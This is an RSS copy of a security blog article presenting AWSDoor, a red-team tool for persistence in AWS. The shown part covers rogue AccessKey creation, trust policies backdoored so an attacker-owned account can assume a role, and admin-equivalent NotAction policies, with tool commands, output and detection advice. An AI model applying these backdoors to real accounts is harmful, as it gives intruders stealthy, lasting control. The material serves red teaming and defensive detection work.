<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>S3 Bucket - RiskInsight</title>
	<atom:link href="https://www.riskinsight-wavestone.com/en/tag/s3-bucket/feed/" rel="self" type="application/rss+xml" />
	<link>https://www.riskinsight-wavestone.com/en/tag/s3-bucket/</link>
	<description>The cybersecurity &#38; digital trust blog by Wavestone&#039;s consultants</description>
	<lastBuildDate>Thu, 11 Sep 2025 15:36:43 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	

<image>
	<url>https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/Blogs-2024_RI-39x39.png</url>
	<title>S3 Bucket - RiskInsight</title>
	<link>https://www.riskinsight-wavestone.com/en/tag/s3-bucket/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>AWSDoor: Persistence on AWS</title>
		<link>https://www.riskinsight-wavestone.com/en/2025/09/awsdoor-persistence-on-aws/</link>
					<comments>https://www.riskinsight-wavestone.com/en/2025/09/awsdoor-persistence-on-aws/#respond</comments>
		
		<dc:creator><![CDATA[Yoann DEQUEKER]]></dc:creator>
		<pubDate>Thu, 11 Sep 2025 15:25:09 +0000</pubDate>
				<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[Ethical Hacking & Incident Response]]></category>
		<category><![CDATA[AWS]]></category>
		<category><![CDATA[AWS Organisation]]></category>
		<category><![CDATA[AWS Organization]]></category>
		<category><![CDATA[AWS Persistence]]></category>
		<category><![CDATA[cloud]]></category>
		<category><![CDATA[CloudTrail]]></category>
		<category><![CDATA[CloudWatach]]></category>
		<category><![CDATA[Detection AWS Persistence]]></category>
		<category><![CDATA[Persistence]]></category>
		<category><![CDATA[Persistence based on IAM]]></category>
		<category><![CDATA[Persistence based on resources]]></category>
		<category><![CDATA[red team]]></category>
		<category><![CDATA[S3 Bucket]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=27372</guid>

					<description><![CDATA[<p>Over the past decade, cloud infrastructure such as Amazon Web Services (AWS), has been increasingly used to host critical infrastructure, manage sensitive data, and ensure global scalability. The shift to hybrid and cloud-native architecture has deeply transformed how infrastructure is...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2025/09/awsdoor-persistence-on-aws/">AWSDoor: Persistence on AWS</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p style="text-align: justify;">Over the past decade<strong>, cloud infrastructure such as Amazon Web Services (AWS), has been increasingly used</strong> to host critical infrastructure, manage sensitive data, and ensure global scalability. The shift to hybrid and cloud-native architecture has deeply transformed how infrastructure is deployed, secured, and monitored.</p>
<p style="text-align: justify;">However, as cloud adoption accelerates, its features and complexity <strong>introduced new challenges associated with securing these environments</strong>. Even if cloud providers offer several security features such as, discretionary access control and logging mechanisms, many organizations still <strong>fail to implement effective cloud security strategies</strong> due to the novelty of these environments. Among the most predominant misconfigurations, <strong>misconfigured IAM roles, overly permissive policies</strong>, exposed credentials, and lack of visibility into cloud-native activity create opportunities for attackers to exploit.</p>
<p style="text-align: justify;">When an attacker gains initial access to a cloud environment whether through opportunistic access or active exploitation,<strong> the most common action</strong> following the initial compromise and privilege escalation is <strong>to deploy access persistence on the environment. </strong></p>
<p style="text-align: justify;">Unlike traditional on-premises networks, cloud environments offer several services and <strong>configuration loopholes that can be abused to maintain long-term access</strong> even after remediation efforts have begun.</p>
<p style="text-align: justify;">In this article, we’ll explore the <strong>concept of access persistence in AWS</strong>, dissecting the techniques adversaries can use to hide themselves within a cloud environment.</p>
<p style="text-align: justify;">All along this article, <strong>the features of a dedicated tool</strong> designed to simplify and automate the deployment of <strong>persistence techniques in AWS environments</strong> will be presented</p>
<p>&nbsp;</p>
<h2>Persistence on AWS</h2>
<h3>IAM persistence</h3>
<p style="text-align: justify;">In the context of AWS, <em>Identity and Access Management </em><strong>(IAM) is the cornerstone of security</strong>. It governs who can do what in the environment by defining roles, users, groups, and their permissions (policies) that determine access to resources: if you have <strong>not been explicitly allowed</strong> to perform an action , <strong>you won’t be able to do anything.</strong></p>
<p style="text-align: justify;">At a high level, IAM operates by <strong>associating identities (such as IAM users or roles) with policies</strong> that are <em>JSON</em> documents describing the privileges of an IAM object on a resource.</p>
<p style="text-align: justify;">These policies are highly granular, <strong>supporting conditions like IP restrictions, MFA enforcement, or access during specific timeframes</strong>. IAM configurations are not just access controls, they are part of the infrastructure itself.</p>
<p style="text-align: justify;">IAM has <strong>become a powerful vector for access persistence</strong> and unlike on an on-premise environment, an attacker with sufficient privileges doesn’t need to drop binaries or execute malicious software to maintain access on the environment. Instead, they <strong>can modify IAM policies</strong>, create new users, attach rogue permissions to existing roles, or backdoor trusted identities.</p>
<p style="text-align: justify;">What makes <strong>IAM-based persistence especially dangerous is its stealth and durability</strong>. Indeed, changes to IAM often <strong>blend in with legitimate administrative activity</strong>, making them harder to detect. If the environment is not well maintained or not reviewed on a regular basis, finding the <strong>malicious policy is like finding a needle in a haystack</strong>.</p>
<p style="text-align: justify;">In this section, we’ll explore <strong>common and lesser-known techniques attackers</strong> can use to establish persistence by modifying IAM configurations. We&#8217;ll break down practical examples and highlight the indicators defenders should monitor to detect and respond to these often-overlooked tactics</p>
<p>&nbsp;</p>
<h4>Access key</h4>
<h5><span style="text-decoration: underline;">Attack</span></h5>
<p style="text-align: justify;">The <strong>101-persistence technique is adding an AccessKey </strong>to a user.</p>
<p style="text-align: justify;">On <em>AWS</em>, users can connect through the <em>CLI</em> using <em>AccessKey</em>. The easiest way to deploy persistence is by deploying an <em>AccessKey</em> on a privileged user.</p>
<p style="text-align: justify;">Once the <em>AccessKey</em> is created for the user, the attacker <strong>can access <em>AWS</em> through the <em>CLI</em> with the user’s privileges.</strong></p>
<p style="text-align: justify;">However, this technique has some limitations:</p>
<ul style="text-align: justify;">
<li>Only two <em>AccessKey</em> can be registered at once on a user.</li>
<li>Some <em>SCP</em>, a global policy applied by the organization on a sub-account can prevent users from using <em>AccessKey</em> or enforce <em>MFA</em></li>
</ul>
<p style="text-align: justify;">Regarding the limitation of number of AccessKey registered on a user, it is possible to:</p>
<ol>
<li style="text-align: justify;">List the AccessKey registered on a user</li>
<li style="text-align: justify;">Get the last time the <em>AccessKey</em> has been used: usually, if a user has more than one AccessKey, the second one has been lost, is not used anymore and can be deactivated and removed with an acceptable risk</li>
<li style="text-align: justify;">Delete the unused AccessKey:</li>
</ol>
<p>&nbsp;</p>
<figure id="attachment_27374" aria-describedby="caption-attachment-27374" style="width: 1017px" class="wp-caption aligncenter"><img fetchpriority="high" decoding="async" class=" wp-image-27374" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_33_01-FR-Persitence-on-AWS.docx-Word-1-437x174.png" alt="Information about the AccessKey has been used" width="1017" height="405" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_33_01-FR-Persitence-on-AWS.docx-Word-1-437x174.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_33_01-FR-Persitence-on-AWS.docx-Word-1-71x28.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_33_01-FR-Persitence-on-AWS.docx-Word-1-768x307.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_33_01-FR-Persitence-on-AWS.docx-Word-1-1536x613.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_33_01-FR-Persitence-on-AWS.docx-Word-1.png 1728w" sizes="(max-width: 1017px) 100vw, 1017px" /><figcaption id="caption-attachment-27374" class="wp-caption-text"><em>Information about the AccessKey has been used</em></figcaption></figure>
<p style="text-align: justify;">&nbsp;</p>
<p style="text-align: justify;">In order to list and delete an <em>AccessKey</em>, the following privileges are needed:</p>
<ul style="text-align: justify;">
<li><strong>iam:ListAccessKeys</strong>: retrieve the <em>AccessKeys</em> details</li>
<li><strong>iam:UpdateAccessKey</strong>: deactivate the key prior to its deletion</li>
<li><strong>iam:DeleteAccessKey</strong>: effectively delete the <em>AccessKey</em></li>
</ul>
<p style="text-align: justify;">For the <em>MFA</em> it is possible to register an <em>MFA</em> on a specific user without his consent allowing bypassing the restriction. However, if the <em>AccessKey</em> login is denied, this technique cannot be used.</p>
<p style="text-align: justify;">In order to add an <em>AccessKey</em> to a user, the following privilege is needed:</p>
<ul style="text-align: justify;">
<li>iam:CreateAccessKey</li>
</ul>
<p style="text-align: justify;">In order to add <em>MFA</em> to a user, the following privilege is needed:</p>
<ul>
<li style="text-align: justify;">aws:CreateVirtualMfaDevice</li>
<li style="text-align: justify;">aws:EnableMfaDevice</li>
</ul>
<p>&nbsp;</p>
<h5><span style="text-decoration: underline;">AWSDoor</span></h5>
<p>This technique is implemented in <em>AWSDoor</em>:</p>
<p>&nbsp;</p>
<pre>python .\main.py -m AccessKey -u adele.vance<br>[+] Access key created for user: adele.vance<br>[+] Access key ID: AKIAWMFUPIEBGOX73NJY<br>[+] Access key Secret: p4g[…]i7ei</pre>
<p>&nbsp;</p>
<p>The <strong>key is then added to the user</strong>:</p>
<p>&nbsp;</p>
<figure id="attachment_27378" aria-describedby="caption-attachment-27378" style="width: 956px" class="wp-caption aligncenter"><img decoding="async" class=" wp-image-27378" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_33_35-FR-Persitence-on-AWS.docx-Word-1-437x175.png" alt="AWS Key added through AWSDoor" width="956" height="383" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_33_35-FR-Persitence-on-AWS.docx-Word-1-437x175.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_33_35-FR-Persitence-on-AWS.docx-Word-1-71x28.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_33_35-FR-Persitence-on-AWS.docx-Word-1-768x307.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_33_35-FR-Persitence-on-AWS.docx-Word-1-1536x614.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_33_35-FR-Persitence-on-AWS.docx-Word-1-2048x819.png 2048w" sizes="(max-width: 956px) 100vw, 956px" /><figcaption id="caption-attachment-27378" class="wp-caption-text"><em>AWS Key added through AWSDoor</em></figcaption></figure>
<p>&nbsp;</p>
<h5><span style="text-decoration: underline;">Defense</span></h5>
<p style="text-align: justify;">While adding an <em>AccessKey</em> to a user is the <strong>easiest way to achieve persistence in an AWS environment</strong> it is also one of the <strong>least stealthy methods</strong>.</p>
<p style="text-align: justify;">Indeed, if the detection team detected the environment compromise, it can easily find the <em>AccessKey</em> deployed by <strong>the compromised user through the AWS CloudTrail logs</strong>:</p>
<p style="text-align: justify;">&nbsp;</p>
<figure id="attachment_27382" aria-describedby="caption-attachment-27382" style="width: 1024px" class="wp-caption aligncenter"><img decoding="async" class=" wp-image-27382" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_00-FR-Persitence-on-AWS.docx-Word-1-264x191.png" alt="AccesKey creation log" width="1024" height="741" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_00-FR-Persitence-on-AWS.docx-Word-1-264x191.png 264w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_00-FR-Persitence-on-AWS.docx-Word-1-54x39.png 54w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_00-FR-Persitence-on-AWS.docx-Word-1-768x555.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_00-FR-Persitence-on-AWS.docx-Word-1.png 1505w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption id="caption-attachment-27382" class="wp-caption-text"><em>AccesKey creation log</em></figcaption></figure>



<p> </p>
<p style="text-align: justify;">Moreover, some security solutions <strong>such as Cloud Security Posture Management system can detect this type of persistence</strong> if users usually do not use AccessKey.</p>
<p style="text-align: justify;">Finally, as a recommendation, it is usually better to <strong>avoid using IAM users with AccessKey and prefere using the AWS SSO</strong>: <a href="https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-sso.html"><span style="color: #000080;">https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-sso.html</span></a></p>
<p style="text-align: justify;">Once the SSO authentication is configured, the number of “human” users drops to 0 with only the service ones remaining. It is then easier to <strong>spot rogue AccessKey and closely monitor existing ones</strong> (<em>CICD</em> service users for example).</p>
<p> </p>
<h4>Trust policy</h4>
<p style="text-align: justify;">In <em>AWS</em>, roles are <em>IAM</em> objects used to delegate access across services, accounts, or users. Unlike IAM users, <strong>roles do not have long-term credentials</strong>. Instead, <strong>they are assumed (used) through the sts:AssumeRole API</strong>, which returns short-lived credentials granting the permissions defined in the role’s permission policies.</p>
<p style="text-align: justify;">To control who can assume a role, <strong>AWS</strong> <strong>uses a special document called a trust policy</strong>. A trust policy specifies the <strong>trusted principals</strong> identities (users, roles, accounts, services, or federated users) that are <strong>allowed to assume the role</strong>. If a principal is not listed in a role’s trust policy, they simply cannot assume it, no matter what permissions they hold elsewhere.</p>
<p style="text-align: justify;">Real life usecase for AssumeRole and Trust Policy</p>
<p style="text-align: justify;">Imagine a company with multiple <em>AWS</em> accounts:</p>
<ul style="text-align: justify;">
<li>one for development</li>
<li>one for staging</li>
<li>one for production</li>
</ul>
<p style="text-align: justify;">Rather than creating and managing separate IAM users in each environment, <strong>the organization defines a centralized group of administrators in a management account</strong>.</p>
<p> </p>
<figure id="attachment_27384" aria-describedby="caption-attachment-27384" style="width: 945px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27384" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_22-FR-Persitence-on-AWS.docx-Word-1-345x191.png" alt="Principe of AssumeRole through TrustPolicy" width="945" height="523" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_22-FR-Persitence-on-AWS.docx-Word-1-345x191.png 345w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_22-FR-Persitence-on-AWS.docx-Word-1-71x39.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_22-FR-Persitence-on-AWS.docx-Word-1-768x425.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_22-FR-Persitence-on-AWS.docx-Word-1-1536x849.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_22-FR-Persitence-on-AWS.docx-Word-1.png 1763w" sizes="auto, (max-width: 945px) 100vw, 945px" /><figcaption id="caption-attachment-27384" class="wp-caption-text"><em>Principe of AssumeRole through TrustPolicy</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">Each target account <strong>defines a role with elevated privileges</strong> (e.g., CrossAdminAccess), and configures a trust policy <strong>allowing only the management account&#8217;s IAM identities to assume it</strong>. The TrustPolicy, deployed on each target account will look like this:</p>
<p> </p>
<pre>{<br />  "Version": "2012-10-17",<br />  "Statement": [<br />    {<br />      "Effect": "Allow",<br />      "Principal": {<br />        "AWS": "arn:aws:iam::${MgmtAccountId}:user/ADM01"<br />      },<br />      "Action": "sts:AssumeRole",<br />    }<br />  ]<br />}<br /><br /></pre>
<p style="text-align: justify;">This approach provides <strong>clean separation between environments while maintaining centralized control</strong>. Admins &#8220;switch roles&#8221; from the management account into the other accounts only when needed without duplicating credentials.</p>
<p style="text-align: justify;">After the AssumeRole action, the administrator in the Management account will be granted temporary administration privileges on the targeted account.</p>
<p style="text-align: justify;"> </p>
<h5><span style="text-decoration: underline;">Attack</span></h5>
<p style="text-align: justify;">As it is shown in the previous <em>TrustPolicy</em>, the capacity to assume a specific role in an account <strong>is managed by the policy that explicitly allows a foreign account</strong> to assume a role in the target account.</p>
<p style="text-align: justify;">However, <strong>nothing enforces the TrustPolicy to allow only an account from known and trusted account</strong>. An attacker with the privileges to modify a <em>TrustPolicy</em> can backdoor the policy by allowing his own <em>AWS</em> account to assume the role in the compromised account:</p>
<p> </p>
<pre>{<br />  "Version": "2012-10-17",<br />  "Statement": [<br />    {<br />      "Effect": "Allow",<br />      "Principal": {<br />        "AWS": [<br />          "arn:aws:iam::${attackerAccountId}:role/fakeRole"<br />        ]<br />      },<br />      "Action": "sts:AssumeRole"<br />    }<br />  ]<br />}<br /><br /></pre>
<p>Once this policy is applied, it is <strong>possible to assume the backdoored role directly from the external</strong>.</p>
<p> </p>
<h5><span style="text-decoration: underline;">AWSDoor</span></h5>
<p>This technique is implemented in AWSDoor:</p>
<p> </p>
<pre>python .\main.py -m TrustPolicy -a FAKEROLE -r arn:aws:iam::584739118107:role/FakeRoleImitatingTargetRoleNames<br />[-] Initial trust policy:<br />{<br />  "Version": "2012-10-17",<br />  "Statement": [<br />    {<br />      "Sid": "Statement1",<br />      "Effect": "Allow",<br />      "Principal": {<br />        "AWS": "arn:aws:iam::438465151234:root"<br />      },<br />      "Action": "sts:AssumeRole"<br />    }<br />  ]<br />}<br />[+] New trust policy:<br />{<br />  "Version": "2012-10-17",<br />  "Statement": [<br />    {<br />      "Sid": "Statement1",<br />      "Effect": "Allow",<br />      "Principal": {<br />        "AWS": [<br />          "arn:aws:iam::438465151234:user/ADM01",<br />          "arn:aws:iam::584739118107:role/FakeRoleimitatingTargetRoleNames"<br />        ]<br />      },<br />      "Action": "sts:AssumeRole"<br />    }<br />  ]<br />}<br /><br />[+] Do you want to apply this change? (yes/no): yes<br />[+] Trust policy for FAKEROLE updated</pre>
<p> </p>
<figure id="attachment_27386" aria-describedby="caption-attachment-27386" style="width: 991px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27386" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_45-FR-Persitence-on-AWS.docx-Word-1-437x179.png" alt="Trust policy modified using AWSDoor" width="991" height="406" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_45-FR-Persitence-on-AWS.docx-Word-1-437x179.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_45-FR-Persitence-on-AWS.docx-Word-1-71x29.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_45-FR-Persitence-on-AWS.docx-Word-1-768x314.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_45-FR-Persitence-on-AWS.docx-Word-1-1536x629.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_45-FR-Persitence-on-AWS.docx-Word-1.png 1774w" sizes="auto, (max-width: 991px) 100vw, 991px" /><figcaption id="caption-attachment-27386" class="wp-caption-text"><em>Trust policy modified using AWSDoor</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">The tool allows you to:</p>
<ul>
<li style="text-align: justify;"><strong>target a specific statement with the -s argument</strong>: by default, the tool will inject the trust policy in the first Allow statement it finds. If there are multiple statements in the policy, you can use the -s parameter to target a specific statement</li>
<li style="text-align: justify;"><strong>create a new statement with the -c argument</strong>: with this option you can force the creation of a new statement with a specific name (MALICIOUS in the example below)</li>
</ul>
<p> </p>
<figure id="attachment_27388" aria-describedby="caption-attachment-27388" style="width: 1280px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27388" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_01-FR-Persitence-on-AWS.docx-Word-1-286x191.png" alt="Creation of a new statement" width="1280" height="855" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_01-FR-Persitence-on-AWS.docx-Word-1-286x191.png 286w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_01-FR-Persitence-on-AWS.docx-Word-1-58x39.png 58w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_01-FR-Persitence-on-AWS.docx-Word-1-768x513.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_01-FR-Persitence-on-AWS.docx-Word-1.png 1478w" sizes="auto, (max-width: 1280px) 100vw, 1280px" /><figcaption id="caption-attachment-27388" class="wp-caption-text"><em>Creation of a new statement</em></figcaption></figure>
<p> </p>
<h5><span style="text-decoration: underline;">Defense</span></h5>
<p style="text-align: justify;">This type of persistence <strong>is a powerful persistence mechanism in AWS environments</strong>. This technique <strong>does not require storing credentials inside the victim environment</strong>, making it very stealthy and durable, especially because the detection team usually focuses only on access keys or local role usage.</p>
<p style="text-align: justify;">Detection of this persistence <strong>method requires close monitoring of trust policy changes</strong>. AWS CloudTrail records events like UpdateAssumeRolePolicy, which can reveal when a trust policy is modified.</p>
<p> </p>
<figure id="attachment_27390" aria-describedby="caption-attachment-27390" style="width: 931px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27390" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_17-FR-Persitence-on-AWS.docx-Word-1-437x176.png" alt="Event UpdateAssumeRolePolicy" width="931" height="375" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_17-FR-Persitence-on-AWS.docx-Word-1-437x176.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_17-FR-Persitence-on-AWS.docx-Word-1-71x29.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_17-FR-Persitence-on-AWS.docx-Word-1-768x310.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_17-FR-Persitence-on-AWS.docx-Word-1-1536x620.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_17-FR-Persitence-on-AWS.docx-Word-1.png 1944w" sizes="auto, (max-width: 931px) 100vw, 931px" /><figcaption id="caption-attachment-27390" class="wp-caption-text"><em>Event UpdateAssumeRolePolicy</em></figcaption></figure>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">Likewise, <strong>AWS Config can be used with custom rules to detect TrustPolicy targeting</strong> unmanaged account.</p>
<p> </p>
<h4>NotAllow</h4>
<h5><span style="text-decoration: underline;">Attack</span></h5>
<p style="text-align: justify;">An IAM role policy is a JSON document <strong>attached to an IAM role that defines what actions the role is allowed</strong> (or denied) to perform, on which resources, and under which conditions.</p>
<p style="text-align: justify;">For example, the following policy allows the associated role to list all S3 buckets in the account.</p>
<p> </p>
<pre>{<br />  "Version": "2012-10-17",<br />  "Statement": [<br />    {<br />      "Effect": "Allow",<br />      "Action": "s3:ListBucket",<br />      "Resource": "*"<br />    }<br />  ]<br />}<br /><br /></pre>
<p style="text-align: justify;">In the policy syntax, <strong>it is possible to use negation operator</strong>: instead of defining a whitelist of allowed action, it is possible to define a blacklist of actions.</p>
<p style="text-align: justify;">Indeed, <strong>by using the NotAction operator, AWS will apply the statement effect to every action</strong> except those explicitly listed.</p>
<p style="text-align: justify;">For example, the following policy:</p>
<p> </p>
<pre>{<br />  "Version": "2012-10-17",<br />  "Statement": [<br />    {<br />      "Effect": "Allow",<br />      "NotAction": "s3:ListBucket",<br />      "NotResource": "arn:aws:s3:::cloudtrails-logs-01032004"<br />    }<br />  ]<br />}<br /><br /></pre>
<p style="text-align: justify;">This policy will allow the role to <strong>perform any action except the ListBucket action on the cloudtrails-logs-01032004 S3 bucket</strong>: it basically grants the associated role the maximum privileges on the account.</p>
<p style="text-align: justify;">For a defender, at first glance, <strong>this policy looks like an inoffensive policy targeting a S3 resource</strong>, but it in fact grants AdministratorAccess privileges to the role.</p>
<p style="text-align: justify;">The attacker <strong>can then backdoor the specific role using the TrustPolicy</strong> persistence as explained before to get a full remote access to the AWS account.</p>
<p> </p>
<h5><span style="text-decoration: underline;">AWSDoor</span></h5>
<p>This technique is implemented in AWSDoor:</p>
<p> </p>
<pre>python .\main.py -m NotAction -r FAKEROLE -p ROGUEPOLICY<br />[+] The following policy will be added :<br />{<br />  "Version": "2012-10-17",<br />  "Statement": [<br />    {<br />      "Effect": "Allow",<br />      "NotAction": [<br />        "s3:ListBucket"<br />      ],<br />      "NotResource": "arn:aws:s3:::cloudtrails-logs-01032004"<br />    }<br />  ]<br />}<br /><br />[+] Do you want to apply this change? (yes/no): yes<br />[+] Created policy ARN: arn:aws:iam::438465151234:policy/ROGUEPOLICY<br />[+] Attaching the policy to FAKEROLE<br />[+] Successfully created policy ROGUEPOLICY and attached to FAKEROLE</pre>
<p> </p>
<p style="text-align: justify;">For the policy, there are two possibilities:</p>
<ul>
<li style="text-align: justify;"><strong>Attached policy</strong>: this is the most common way to add a policy to a role. First a policy is created with the NotAction statement, then the policy is attached to the role. The policy will then appear in the IAM/Policies panel:</li>
</ul>
<p> </p>
<figure id="attachment_27393" aria-describedby="caption-attachment-27393" style="width: 724px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27393" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_37-FR-Persitence-on-AWS.docx-Word-1-437x131.png" alt="Role policy attached" width="724" height="217" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_37-FR-Persitence-on-AWS.docx-Word-1-437x131.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_37-FR-Persitence-on-AWS.docx-Word-1-71x21.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_37-FR-Persitence-on-AWS.docx-Word-1-768x230.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_37-FR-Persitence-on-AWS.docx-Word-1.png 1374w" sizes="auto, (max-width: 724px) 100vw, 724px" /><figcaption id="caption-attachment-27393" class="wp-caption-text"><em>Role policy attached</em></figcaption></figure>
<p> </p>
<ul>
<li style="text-align: justify;"><strong>Inline policy (-i)</strong>: this is the quickiest way to add a policy to a role. The policy is directly created at the role level (hence the inline). While it is easier to create such policy it is usually seen as bad configuration practice because the policy will not appear in the IAM/policies panel, making it harder to track it back during a configuration review.</li>
</ul>
<p style="text-align: justify;">Therefore, specific compliance tools can flag the inline policy. Not because it is malicious but because it is not compliant with security best practices.</p>
<p> </p>
<figure id="attachment_27395" aria-describedby="caption-attachment-27395" style="width: 987px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27395" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_51-FR-Persitence-on-AWS.docx-Word-1-437x186.png" alt="Inline policy created" width="987" height="420" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_51-FR-Persitence-on-AWS.docx-Word-1-437x186.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_51-FR-Persitence-on-AWS.docx-Word-1-71x30.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_51-FR-Persitence-on-AWS.docx-Word-1-768x326.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_51-FR-Persitence-on-AWS.docx-Word-1-1536x653.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_51-FR-Persitence-on-AWS.docx-Word-1.png 1562w" sizes="auto, (max-width: 987px) 100vw, 987px" /><figcaption id="caption-attachment-27395" class="wp-caption-text"><em>Inline policy created</em></figcaption></figure>
<p> </p>
<h5><span style="text-decoration: underline;">Defense</span></h5>
<p style="text-align: justify;">From a defender’s perspective, <strong>the use of NotAction along with Allow effect in IAM policies should immediately raise suspicion</strong>, especially when paired with NotResource fields.</p>
<p style="text-align: justify;">The following detection and mitigation strategies can help security teams defend against this type of privilege escalation:</p>
<ul>
<li style="text-align: justify;"><strong>Monitor IAM Policy Changes</strong> via CloudTrail: any creation or modification of IAM policies can be tracked through CloudTrail with the following event: CreatePolicy, PutRolePolicy, AttachRolePolicy, CreatePolicyVersion and SetDefaultPolicyVersion</li>
<li style="text-align: justify;"><strong>Investigation on policy documents containing the NotAction</strong> This can be automated by creating associated scenario on CloudWatch (NotAction in requestParameters.policyDocument)</li>
<li style="text-align: justify;"><strong>Enforce compliance check with AWS Config</strong>: a custom config rule can be defined to flag any policy including NotAction or NotRessource with an Allow effect</li>
</ul>
<p> </p>
<h3>Resource based persistence</h3>
<p style="text-align: justify;">In AWS, <strong>it&#8217;s common to attach IAM roles to resources like</strong> <strong>Lambda functions, EC2 instances</strong>, or ECS tasks. This lets those services access other AWS resources securely, based on the permissions defined in the role. For example, an EC2 instance might use a role to read secrets from Secrets Manager or push logs to CloudWatch.</p>
<p style="text-align: justify;">From an attacker&#8217;s point of view, <strong>this setup can be useful for persistence</strong>. If they manage to compromise a resource that has a highly privileged role attached, such as one with AdministratorAccess, they can use the role to interact with AWS just like the resource would.</p>
